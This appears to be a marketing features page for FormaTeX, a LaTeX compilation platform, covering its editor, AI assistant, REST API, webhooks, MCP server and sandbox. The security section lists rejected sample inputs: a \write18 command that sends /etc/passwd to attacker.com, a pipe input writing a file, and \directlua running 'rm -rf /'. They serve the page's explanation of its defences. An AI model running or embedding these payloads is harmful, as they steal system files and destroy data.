\features{FormaTeX}

Everything you need. Nothing you don't.

Browser editor, AI assistant, real-time collaboration, REST API, four LaTeX engines, MCP integration — every feature built for developers and writers who need LaTeX without the infrastructure work.

\section{Platform}

\feature{editor}

Browser-Based LaTeX Editor

New

A full IDE. In the browser. No installation.

FormaTeX ships a complete LaTeX development environment that runs entirely in the browser. CodeMirror 6 with LaTeX syntax highlighting, a resizable split-pane PDF preview, a project file explorer, outline panel, symbols list, minimap, and a full compilation log with parsed error list. Upload images, .bib files, and custom class files. Autosave triggers every 1500ms — closing the tab loses nothing.

  • Split-pane: LaTeX source left, live PDF preview right — drag to resize
  • File explorer with folder support (.tex, .bib, .cls, .sty, images)
  • Outline panel extracts section headings from source automatically
  • Full compilation log + Problems panel with parsed error and warning list
  • Keyboard shortcuts, word count, minimap — all configurable
main.tex — FormaTeX Editor
⌘↵ Compile

Explorer

main.tex
refs.bib
fig1.png
\documentclass{article}
\usepackage{amsmath}
\usepackage{graphicx}
 
\begin{document}
\section{Introduction}
This paper presents...

PDF Preview

Compiled in 312ms·12 pages · 284 KBAutosaved

\feature{ai}

AI Assistant

New

Fix, explain, generate, and chat — with full project context.

Four AI modes built into the editor. Fix analyzes your error log and produces corrected LaTeX. Explain translates compiler errors into plain English. Generate writes LaTeX from a plain-text prompt. Chat gives you a conversational assistant with access to every file in your project. The AI sees your actual source — not a snippet you paste in.

  • Fix: error log in → corrected LaTeX out, with diff highlighting
  • Explain: cryptic compiler errors translated into plain English
  • Generate: describe what you need, receive compilable LaTeX back
  • Chat: full project context injected automatically — ask anything
  • Usage metered per plan: 5 req/mo (Free) → 5,000 req/mo (Enterprise)
Fix
Explain
Generate

! Error on line 47

Undefined control sequence \mathrm

AI Fix Suggestion
96%

Add \usepackage{amsmath} to your preamble. \mathrm is defined there.

+ \usepackage{amsmath}

Apply fix
Explain144 requests remaining

\feature{collaboration}

Real-Time Collaboration

New

Multiple people. One document. Live.

WebSocket-based real-time collaboration shipped in February 2026. Invite collaborators by email, assign Editor or Viewer roles, and see live presence indicators with colored avatars derived deterministically from each user's UUID. Viewers are restricted server-side — they cannot broadcast edit events regardless of client state. Opening the same project in two tabs evicts the older connection automatically.

  • Invite by email — Editor or Viewer role per collaborator
  • Live presence: colored avatars consistent across sessions
  • Viewer restriction enforced server-side, not just in the UI
  • Duplicate-tab eviction: older connection automatically closed
  • 3 / 6 / 15 collaborators per project (Pro / Max / Enterprise)
SK
AM
ME
3 people editing
Live
Sarah K.
Alex M.
Sarah K.· Editor
Alex M.· Viewer
You· Editor

\feature{projects}

Projects & File History

Persistent multi-file workspaces with full edit history.

Projects are named, color-coded workspaces that persist all your files server-side. Create a project once, add .tex source, .bib references, images, and custom class files — all available across sessions and compilations. Every save and deletion is recorded as a snapshot in File History: a git-log-style timeline showing what changed, when, and who made each edit.

  • Named projects with color coding — up to 5 (Free) to 999 (Enterprise)
  • 3 to 100 files per project depending on plan
  • Compile any project directly via API using project_id
  • File History: every save snapshot-diffed, grouped by date, collaborator-attributed
  • Export full project as ZIP at any time from the editor
  • GitHub sync: bidirectional push/pull with GitHub repositories (Max and Enterprise)

Projects

IEEE Paper 2026

8 filesmain
2h ago

PhD Thesis — Ch.4

24 filesdraft
1d ago

CV / Resume

3 filesmain
3d ago

3 of 5 projects · Free plan

File History

IEEE Paper 2026

Today · 3 changes

SK

sections/intro.tex

Edit14:23
ME

refs.bib

Edit14:19
AM

fig1.png

Delete13:54

\feature{templates}

Templates & Variable Substitution

Send JSON. Get PDF. No LaTeX knowledge required.

Define a LaTeX document once as a template, mark dynamic values with {{variable}} placeholders, and expose a compile endpoint that accepts plain JSON. Your callers never touch LaTeX — they POST a JSON object with variable values and receive a PDF. Templates support uploaded assets (logos, .bib, .cls files), forking for new variants, and are callable with any API key.

  • {{placeholder}} variable schema with type definitions and default values
  • POST variables as JSON → receive a compiled PDF directly
  • Upload template assets: logos, bibliography files, class files
  • Fork any existing template as a starting point for a new variant
  • 0 private templates (Free) → 25 (Max) → 999 (Enterprise)

Variables

client_name*
Acme Corp
amount*
$12,500.00
due_date
March 15, 2026
invoice_no*
INV-2026-0042
POST /compile
PDF
INVOICE
$12,500.00
invoice.pdf

\feature{webhooks}

Webhooks

Your server gets notified the moment a job completes.

Register a URL and subscribe to compilation, quota, and plan events. FormaTeX delivers a signed POST to your endpoint on every event. Every delivery is HMAC-SHA256 signed with your webhook secret — verify the X-FormaTeX-Signature header before processing. Failed deliveries are automatically retried up to 5 times with exponential backoff. The dashboard shows per-webhook success rates, full delivery history with attempt numbers, and a test-fire button.

  • 5 event types: compilation.success, compilation.failed, quota.warning, quota.exceeded, plan.changed
  • HMAC-SHA256 signature on every delivery — verify with your secret
  • Automatic retry with exponential backoff (up to 5 attempts)
  • Per-webhook delivery history with HTTP status and attempt number
  • Available on Max and Enterprise plans
https://api.yourapp.com/webhooks/latex
HMAC verified
Success rate75%
3 of 4 succeeded·
Retry on failure
Recent deliveries4 events
compilation.success87ms
200
compilation.failed91ms
500
quota.warning103ms
200
plan.changed76ms
200
X-FormaTeX-Signature: sha256=a3f9b2e17c…

\feature{github}

GitHub Integration

New

Push your project to GitHub. Pull from any repo.

Link any FormaTeX project to a GitHub repository and keep them in sync. Push your LaTeX source, .bib files, and assets to a branch with one click — or trigger a push automatically after every successful compilation. Pull changes from GitHub to restore a previous version or onboard a new collaborator's fork. Works with public and private repositories. Available on Max and Enterprise plans.

  • Connect any project to a public or private GitHub repository
  • Push on demand or automatically after every successful compile
  • Pull from any branch — restore, fork, or onboard from existing repos
  • Full file tree synced: .tex, .bib, .cls, .sty, images, and assets
  • Available on Max and Enterprise plans
acme-org / thesis-2026
main
connected
Changed files4 files
Mmain.tex
Msections/intro.tex
Arefs.bib
Afig/diagram.pdf
Commit message
chore: update figures and bibliography
Push
a3f9b2e
Auto-push after every successful compile
Pull
from
feature/new-chapter

\feature{overleaf-import}

Overleaf Project Import

New

Bring your existing projects over in one click.

Already on Overleaf? Export your project as a zip (Menu → Download → Source) and drop it into FormaTeX. Your full file tree — .tex source, .bib references, images, custom class files, subdirectories — is extracted, scanned, and saved as a new project automatically. The root .tex file is detected and opened immediately. No manual file copying, no reformatting, no friction.

  • Drag-and-drop zip upload from the Projects dashboard
  • Full folder structure preserved — chapters/, figures/, and all subdirectories
  • Auto-detects main.tex or any root file containing \documentclass
  • Images, .bib, .cls, .sty, fonts — all file types extracted in one shot
  • Project is named from your zip filename automatically
overleaf-import.sh
# 1. Export from Overleaf
#    Menu → Download → Source  →  my-thesis.zip

# 2. Import via the Projects dashboard
#    Click "Import from Overleaf" → drop the zip → done

# 3. Or use the API directly
curl -X POST https://api.formatex.io/api/v1/users/me/projects/import \
  -H "Authorization: Bearer <jwt>" \
  -F "[email protected]"

# Response
{
  "project": {
    "id":   "proj_7f2a...",
    "name": "my-thesis",
    "color": "amber"
  },
  "main_file": "main.tex"
}

\section{API & Compilation}

\feature{rest-api}

Zero-Config REST API

Send LaTeX. Get PDF. One endpoint.

The entire FormaTeX compilation surface is a single POST endpoint. No SDK required, no authentication ceremony. Send JSON containing your LaTeX source and engine preference, receive a binary PDF in the response body. Every response includes compilation timing, engine used, and your remaining quota in the headers. Works identically from curl, JavaScript, Python, Go, or any HTTP client.

  • No SDK required — any HTTP client works in any language
  • Binary PDF returned directly in the response body
  • Compiler log included in 422 error responses for debugging
  • X-Compile-Duration-Ms, X-Engine, X-Compilations-Used on every response
compile.sh
curl -X POST https://api.formatex.io/api/v1/compile \
  -H "X-API-Key: fex_a8k2mP9..." \
  -H "Content-Type: application/json" \
  -d '{
    "latex": "\\documentclass{article}\\begin{document}Hello\\end{document}",
    "engine": "pdflatex"
  }' \
  --output document.pdf

# Response headers:
# HTTP/1.1 200 OK
# Content-Type: application/pdf
# X-Engine: pdflatex
# X-Compile-Duration-Ms: 94
# X-Compilations-Used: 42
# X-Compilations-Limit: 500

\feature{engines}

Four LaTeX Engines

The right tool for every document type.

pdfLaTeX for maximum speed and package compatibility. XeLaTeX for system fonts (TTF/OTF) and Unicode. LuaLaTeX for Lua scripting and programmatic content generation. latexmk for automatic multi-pass compilation — bibliography, TOC, cross-references, all resolved in a single request. Select per-request with a single JSON parameter. All engines run the same pinned TeX Live 2024 distribution.

  • Switch engines per-request — no account changes, no reconfiguration
  • XeLaTeX & LuaLaTeX: native Arabic, Hebrew, and RTL support via bidi/polyglossia
  • latexmk auto-detects required passes for full reference resolution
  • All engines run pinned TeX Live 2024 — reproducible output forever
  • pdfLaTeX is the default — fastest for most workloads (~80–200ms)
Engine deep-dives
pdflatex
All plans

Standard. Fastest. Best compatibility.

Speed~80ms

DVI → PDF · Type 1 fonts · Widest package support

xelatex
Pro+

System fonts. Unicode natively.

Speed~190ms

TTF / OTF · Right-to-left text · OpenType features

lualatex
Pro+

Full Lua scripting inside LaTeX.

Speed~320ms

Programmatic content · Most powerful · Slowest

latexmk
Pro+

Auto multi-pass. Resolves everything.

Speedmulti-pass

Bibliography · TOC · Cross-references · Auto-retry

\feature{async}

Async, Stream, Smart & ZIP Compile

Blocking, background, live-streamed, intelligent, or multi-file. Pick your mode.

Five compilation modes for every use case. Sync returns the PDF immediately in the response — zero setup. Async enqueues the job and returns a job ID in under 10ms — no connection held open, ideal for batch pipelines. Stream delivers log output line-by-line via SSE as the engine runs — perfect for live progress UIs. Smart compile reads your document preamble, selects the right engine automatically, and retries on transient failure. ZIP compile accepts a full multi-file project archive — thesis, book, CV kit — and returns the compiled PDF in one request.

  • Sync: PDF in response body — one round-trip, zero polling
  • Async: job ID returned instantly, poll GET /jobs/{id} for result
  • Stream: live SSE log output — build a real-time terminal in your UI
  • Smart: auto-selects engine from preamble, retries on transient failure
  • ZIP: POST a .zip with main.tex + assets, get the PDF back — no project required

sync

Blocking · PDF in response

POST /compile
compiling…88ms
← PDF (284 KB)

PDF returned in response body — one round-trip

async

Non-blocking · Poll for result

POST /compile/async
← { jobId: "b3f2a…"}
queued
processing
completed
GET /jobs/:id/pdf ✓

Connection released instantly — poll when ready

stream

SSE · Live log output

POST /compile/stream
SSE · text/event-stream

[1/1] pdflatex -no-shell-escape main.tex

This is pdfTeX, Version 3.141592653

Output written on main.pdf (12 pages)

Compiled in 312ms ✓

Build a real-time terminal in your UI

smart

Auto-detect · Retry on failure

POST /compile/smart

Preamble analysis

\documentclass{article}→pdflatex
\usepackage[fontspec]{...}→xelatex
\directlua{...}→lualatex
← auto-selected · retry on failure

No engine config needed — just send your LaTeX

\feature{security}

Production Sandbox

LaTeX is powerful and dangerous. We contain it.

Every compilation runs in an isolated execution context with -no-shell-escape enforced, restricted file I/O (openout_any=p, openin_any=p), and no outbound network access. Input sanitization blocks 18+ known attack vectors before the engine starts. LaTeX source is never written to logs. Compilation files are deleted from disk immediately after processing. Project files you choose to save are stored securely in your account.

  • -no-shell-escape on all engines — system commands impossible
  • 18+ dangerous commands blocked: \write18, \directlua, pipe inputs
  • Null byte detection and per-plan size limits enforced at ingress
  • Compilation files deleted immediately after processing
Full security model
security-model
// These inputs are rejected before the engine starts:
// \write18{curl attacker.com/exfil?data=$(cat /etc/passwd)}
// \input{|"id > /tmp/pwned.txt"}
// \directlua{os.execute("rm -rf /")}

// Valid input compiles normally:
POST /api/v1/compile
{
  "latex": "\\documentclass{article}\\begin{document}Safe.\\end{document}",
  "engine": "pdflatex"
}

// HTTP/1.1 200 OK
// X-Compile-Duration-Ms: 88
// [source deleted from disk immediately]

\feature{equation-render}

Equation Rendering API

New

Any math string. PNG or SVG. No full document needed.

Send a raw LaTeX math expression, get back a sharp PNG or SVG image — no document preamble, no boilerplate. The API wraps it in a standalone document automatically, compiles with pdflatex, and converts to your preferred format. amsmath, amssymb, and amsfonts are pre-loaded. Separate from the compilation quota — equation rendering never counts against your monthly limit. Ideal for chat apps, edtech platforms, documentation tools, and anywhere math needs to display.

  • Send math content only — no \documentclass, no \begin{document} needed
  • Inline mode ($...$) or display mode (\[...\]) via a single boolean field
  • PNG at any DPI from 72 to 600 — or SVG for resolution-independent output
  • Binary image response by default; JSON + base64 via Accept: application/json
  • Does not consume your monthly compilation quota
render-equation.sh
# PNG — binary response (save directly to file)
curl -X POST https://api.formatex.io/api/v1/render/equation \
  -H "X-API-Key: fex_a8k2mP9..." \
  -H "Content-Type: application/json" \
  -d '{"latex": "\\int_0^\\infty e^{-x^2} dx = \\frac{\\sqrt{\\pi}}{2}"}' \
  --output equation.png

# SVG — display mode
curl -X POST https://api.formatex.io/api/v1/render/equation \
  -H "X-API-Key: fex_a8k2mP9..." \
  -H "Content-Type: application/json" \
  -d '{"latex": "\\nabla \\cdot \\mathbf{E} = \\frac{\\rho}{\\varepsilon_0}", "format": "svg", "display": true}' \
  --output equation.svg

# JSON response with base64 + dimensions
curl -X POST https://api.formatex.io/api/v1/render/equation \
  -H "X-API-Key: fex_a8k2mP9..." \
  -H "Content-Type: application/json" \
  -H "Accept: application/json" \
  -d '{"latex": "E = mc^2", "dpi": 150}'
# → { "image": "<base64>", "format": "png", "width": 120, "height": 22 }

\section{Integrations}

\feature{mcp}

MCP Integration

Your AI agent compiles LaTeX natively.

FormaTeX ships a first-class MCP server. Add it to Claude Code, Cursor, Windsurf, or any MCP-compatible client and your AI gains direct access to a full LaTeX compilation stack. Compile documents, fill templates with variables, validate syntax, or list available engines — all from within an AI conversation. No terminal switching, no file copying, no context breaks.

  • 9 MCP tools: compile_smart, compile_latex, compile_async, get_job, compile_template, list_templates, check_syntax, list_engines, get_usage
  • compile_template fills your saved templates directly from an AI chat
  • Works with Claude Code, Cursor, VS Code, Windsurf, Cline, and any MCP client
  • stdio or HTTP transport — local server or remote connection
MCP setup guide
mcp-config.json
// claude_desktop_config.json  (or .claude/claude_code_config.json)
{
  "mcpServers": {
    "formatex": {
      "command": "formatex-mcp",
      "env": {
        "FORMATEX_API_KEY": "fex_a8k2mP9..."
      }
    }
  }
}

// Claude can now:
// "Compile this document with XeLaTeX and show me the PDF"
// "Fill the invoice template for Acme Corp, $12,500 due March 15"
// "Check my LaTeX for syntax errors before I compile"
// "Which engines are available on my plan?"

\listfeatures{all}

All features at a glance

  • Browser LaTeX editor
  • AI Fix / Explain / Chat
  • Real-time collaboration
  • Persistent projects
  • Template variable API
  • Signed webhooks
  • Per-file history & diffs
  • Sub-200ms compile
  • 4 LaTeX engines
  • Async / Stream / Smart
  • Sandboxed execution
  • API key management
  • Usage analytics
  • MCP / AI agent tools
  • Ephemeral compile artifacts
  • Equation rendering API
  • Compiler-assisted DOCX export
  • GitHub sync
  • Overleaf import
  • Arabic & RTL support

\begin{document}

One platform. Free to start.

Editor, API, AI, and collaboration on every plan. No credit card required. Start in 30 seconds.